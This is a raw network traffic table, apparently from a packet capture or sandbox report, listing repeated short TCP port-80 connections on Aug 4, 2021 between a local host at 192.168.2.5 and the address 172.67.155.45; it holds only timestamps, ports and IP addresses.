Aug 4, 2021 13:56:55.205847979 CEST	49824	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.223683119 CEST	80	49824	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.223831892 CEST	49824	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.234256029 CEST	49824	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.251024008 CEST	80	49824	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.251126051 CEST	49824	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.267896891 CEST	80	49824	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.495081902 CEST	80	49824	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.495213032 CEST	80	49824	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.495290041 CEST	49824	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.495369911 CEST	49824	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.511984110 CEST	80	49824	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.701361895 CEST	49826	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.718513966 CEST	80	49826	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.718661070 CEST	49826	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.721610069 CEST	49826	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.740120888 CEST	80	49826	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.740223885 CEST	49826	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.758548021 CEST	80	49826	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.986669064 CEST	80	49826	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.986726046 CEST	80	49826	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:55.986823082 CEST	49826	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.986850977 CEST	49826	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.004030943 CEST	80	49826	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.189491034 CEST	49827	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.206490040 CEST	80	49827	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.207137108 CEST	49827	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.211426973 CEST	49827	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.230717897 CEST	80	49827	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.232604027 CEST	49827	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.252540112 CEST	80	49827	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.493618011 CEST	80	49827	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.493680954 CEST	80	49827	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.493799925 CEST	49827	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.493843079 CEST	49827	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.510772943 CEST	80	49827	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.705487967 CEST	49828	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.724113941 CEST	80	49828	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.724271059 CEST	49828	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.727003098 CEST	49828	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.746429920 CEST	80	49828	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:56.746541977 CEST	49828	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:56.763431072 CEST	80	49828	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.018296003 CEST	80	49828	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.018349886 CEST	80	49828	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.018521070 CEST	49828	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.022043943 CEST	49828	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.041034937 CEST	80	49828	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.207989931 CEST	49829	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.225600958 CEST	80	49829	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.225737095 CEST	49829	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.229521036 CEST	49829	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.247813940 CEST	80	49829	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.247895002 CEST	49829	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.265969992 CEST	80	49829	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.493786097 CEST	80	49829	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.493849993 CEST	80	49829	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.493971109 CEST	49829	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.494908094 CEST	49829	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.512006044 CEST	80	49829	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.697724104 CEST	49831	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.716882944 CEST	80	49831	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.717010021 CEST	49831	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.719835997 CEST	49831	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.738502979 CEST	80	49831	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.738624096 CEST	49831	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.755580902 CEST	80	49831	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.985444069 CEST	80	49831	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.985527039 CEST	80	49831	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:57.985616922 CEST	49831	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:57.985640049 CEST	49831	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.002501011 CEST	80	49831	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.205383062 CEST	49832	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.223803043 CEST	80	49832	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.224020958 CEST	49832	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.231894970 CEST	49832	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.250085115 CEST	80	49832	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.250258923 CEST	49832	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.267266989 CEST	80	49832	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.517472982 CEST	80	49832	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.517642021 CEST	80	49832	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.517767906 CEST	49832	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.519162893 CEST	49832	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.538228035 CEST	80	49832	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.729335070 CEST	49833	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.748851061 CEST	80	49833	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.749013901 CEST	49833	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.756558895 CEST	49833	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.775813103 CEST	80	49833	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:58.776004076 CEST	49833	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:58.794945955 CEST	80	49833	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.035722017 CEST	80	49833	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.035859108 CEST	49833	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.036196947 CEST	80	49833	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.036269903 CEST	49833	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.055213928 CEST	80	49833	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.241231918 CEST	49834	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.260963917 CEST	80	49834	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.261337042 CEST	49834	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.264476061 CEST	49834	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.281636000 CEST	80	49834	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.281768084 CEST	49834	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.298782110 CEST	80	49834	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.574778080 CEST	80	49834	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.574821949 CEST	80	49834	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.574964046 CEST	49834	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.574995041 CEST	49834	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.591986895 CEST	80	49834	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.783389091 CEST	49835	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.800388098 CEST	80	49835	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.800739050 CEST	49835	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.807084084 CEST	49835	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.823996067 CEST	80	49835	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:59.824090004 CEST	49835	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:59.842261076 CEST	80	49835	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.062306881 CEST	80	49835	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.062361956 CEST	80	49835	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.062428951 CEST	49835	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.062499046 CEST	49835	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.081186056 CEST	80	49835	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.272161007 CEST	49836	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.291845083 CEST	80	49836	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.294239998 CEST	49836	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.301592112 CEST	49836	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.318628073 CEST	80	49836	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.318763971 CEST	49836	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.335673094 CEST	80	49836	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.573329926 CEST	80	49836	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.573473930 CEST	49836	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.573483944 CEST	80	49836	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.573560953 CEST	49836	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.590372086 CEST	80	49836	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.781935930 CEST	49837	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.799196005 CEST	80	49837	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.799597979 CEST	49837	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.804603100 CEST	49837	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.821656942 CEST	80	49837	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:00.821968079 CEST	49837	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:00.839926958 CEST	80	49837	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.068211079 CEST	80	49837	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.068305016 CEST	80	49837	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.068371058 CEST	49837	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.068413019 CEST	49837	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.085856915 CEST	80	49837	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.287391901 CEST	49838	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.304435015 CEST	80	49838	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.304610014 CEST	49838	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.307703018 CEST	49838	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.325602055 CEST	80	49838	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.325764894 CEST	49838	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.343858957 CEST	80	49838	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.578948975 CEST	80	49838	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.579139948 CEST	49838	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.579166889 CEST	80	49838	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.579346895 CEST	49838	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.597187042 CEST	80	49838	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.806792021 CEST	49839	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.823741913 CEST	80	49839	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.823975086 CEST	49839	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.827505112 CEST	49839	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.844389915 CEST	80	49839	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:01.844599962 CEST	49839	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:01.861706972 CEST	80	49839	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.088974953 CEST	80	49839	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.089107990 CEST	80	49839	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.089257002 CEST	49839	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.089286089 CEST	49839	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.106102943 CEST	80	49839	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.287889004 CEST	49840	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.304996967 CEST	80	49840	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.305098057 CEST	49840	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.307864904 CEST	49840	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.325053930 CEST	80	49840	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.325176001 CEST	49840	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.342076063 CEST	80	49840	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.569292068 CEST	80	49840	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.569413900 CEST	49840	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.569516897 CEST	80	49840	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.569578886 CEST	49840	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.588748932 CEST	80	49840	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.782624006 CEST	49841	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.799638987 CEST	80	49841	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.799752951 CEST	49841	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.803453922 CEST	49841	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.820255041 CEST	80	49841	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:02.820370913 CEST	49841	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:02.839858055 CEST	80	49841	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.061908007 CEST	80	49841	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.062073946 CEST	80	49841	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.062113047 CEST	49841	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.062161922 CEST	49841	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.080425024 CEST	80	49841	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.263175964 CEST	49842	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.281925917 CEST	80	49842	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.282113075 CEST	49842	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.285828114 CEST	49842	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.304279089 CEST	80	49842	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.304399967 CEST	49842	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.323947906 CEST	80	49842	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.553042889 CEST	80	49842	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.553078890 CEST	80	49842	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.553239107 CEST	49842	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.553324938 CEST	49842	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.570544004 CEST	80	49842	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.795582056 CEST	49843	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.812526941 CEST	80	49843	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.812711000 CEST	49843	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.816370010 CEST	49843	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.833369970 CEST	80	49843	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:03.834341049 CEST	49843	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:03.851242065 CEST	80	49843	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.078752041 CEST	80	49843	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.079005003 CEST	49843	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.079144955 CEST	80	49843	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.079272985 CEST	49843	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.095859051 CEST	80	49843	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.277709961 CEST	49844	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.294570923 CEST	80	49844	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.294738054 CEST	49844	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.297466993 CEST	49844	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.315967083 CEST	80	49844	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.316066027 CEST	49844	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.334661007 CEST	80	49844	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.578030109 CEST	80	49844	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.578262091 CEST	49844	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.578759909 CEST	80	49844	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.578882933 CEST	49844	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.595014095 CEST	80	49844	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.794111967 CEST	49845	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.810859919 CEST	80	49845	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.811012983 CEST	49845	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.818058968 CEST	49845	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.834922075 CEST	80	49845	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:04.835169077 CEST	49845	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:04.853467941 CEST	80	49845	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.159058094 CEST	80	49845	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.159168005 CEST	80	49845	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.159284115 CEST	49845	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.159310102 CEST	49845	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.176058054 CEST	80	49845	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.587708950 CEST	49846	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.605439901 CEST	80	49846	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.605576992 CEST	49846	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.608398914 CEST	49846	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.627898932 CEST	80	49846	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.628022909 CEST	49846	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.647397041 CEST	80	49846	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.875875950 CEST	80	49846	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.875999928 CEST	49846	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.876086950 CEST	80	49846	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:05.876148939 CEST	49846	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:05.893135071 CEST	80	49846	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:06.115108013 CEST	49847	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:06.132179022 CEST	80	49847	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:06.134438992 CEST	49847	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:06.137032986 CEST	49847	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:06.153942108 CEST	80	49847	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:06.154023886 CEST	49847	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:06.170905113 CEST	80	49847	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:06.401918888 CEST	80	49847	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:06.401962996 CEST	80	49847	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:06.402153015 CEST	49847	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:06.791099072 CEST	49847	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:06.817744970 CEST	80	49847	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:06.998823881 CEST	49848	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:07.020359039 CEST	80	49848	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:07.021199942 CEST	49848	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:07.024965048 CEST	49848	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:07.041961908 CEST	80	49848	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:07.042058945 CEST	49848	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:07.059235096 CEST	80	49848	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:07.279740095 CEST	80	49848	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:07.279789925 CEST	80	49848	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:07.279903889 CEST	49848	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.080369949 CEST	49848	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.100033998 CEST	80	49848	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.375355959 CEST	49849	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.394959927 CEST	80	49849	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.395104885 CEST	49849	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.397834063 CEST	49849	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.415038109 CEST	80	49849	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.415230036 CEST	49849	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.432102919 CEST	80	49849	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.655006886 CEST	80	49849	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.655033112 CEST	80	49849	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.655297041 CEST	49849	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.655344009 CEST	49849	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.672301054 CEST	80	49849	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.870553970 CEST	49850	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.895251036 CEST	80	49850	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.895441055 CEST	49850	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.900465965 CEST	49850	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.917510033 CEST	80	49850	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:08.917593002 CEST	49850	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:08.934875011 CEST	80	49850	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.151705027 CEST	80	49850	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.151933908 CEST	49850	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.151985884 CEST	80	49850	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.152082920 CEST	49850	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.169776917 CEST	80	49850	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.377706051 CEST	49851	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.396112919 CEST	80	49851	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.396318913 CEST	49851	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.400526047 CEST	49851	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.418740988 CEST	80	49851	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.418828964 CEST	49851	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.437558889 CEST	80	49851	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.654335976 CEST	80	49851	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.654378891 CEST	80	49851	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.654575109 CEST	49851	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.654603958 CEST	49851	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.673418999 CEST	80	49851	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.902574062 CEST	49852	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.919773102 CEST	80	49852	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.919888020 CEST	49852	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.923923969 CEST	49852	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.943469048 CEST	80	49852	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:09.943892002 CEST	49852	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:09.962321043 CEST	80	49852	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.175952911 CEST	80	49852	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.176181078 CEST	80	49852	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.176372051 CEST	49852	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.176395893 CEST	49852	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.193522930 CEST	80	49852	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.393276930 CEST	49853	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.412004948 CEST	80	49853	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.412358999 CEST	49853	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.415662050 CEST	49853	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.434600115 CEST	80	49853	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.434689999 CEST	49853	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:57:10.453258991 CEST	80	49853	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.685583115 CEST	80	49853	172.67.155.45	192.168.2.5
Aug 4, 2021 13:57:10.685626984 CEST	80	49853	172.67.155.45	192.168.2.5
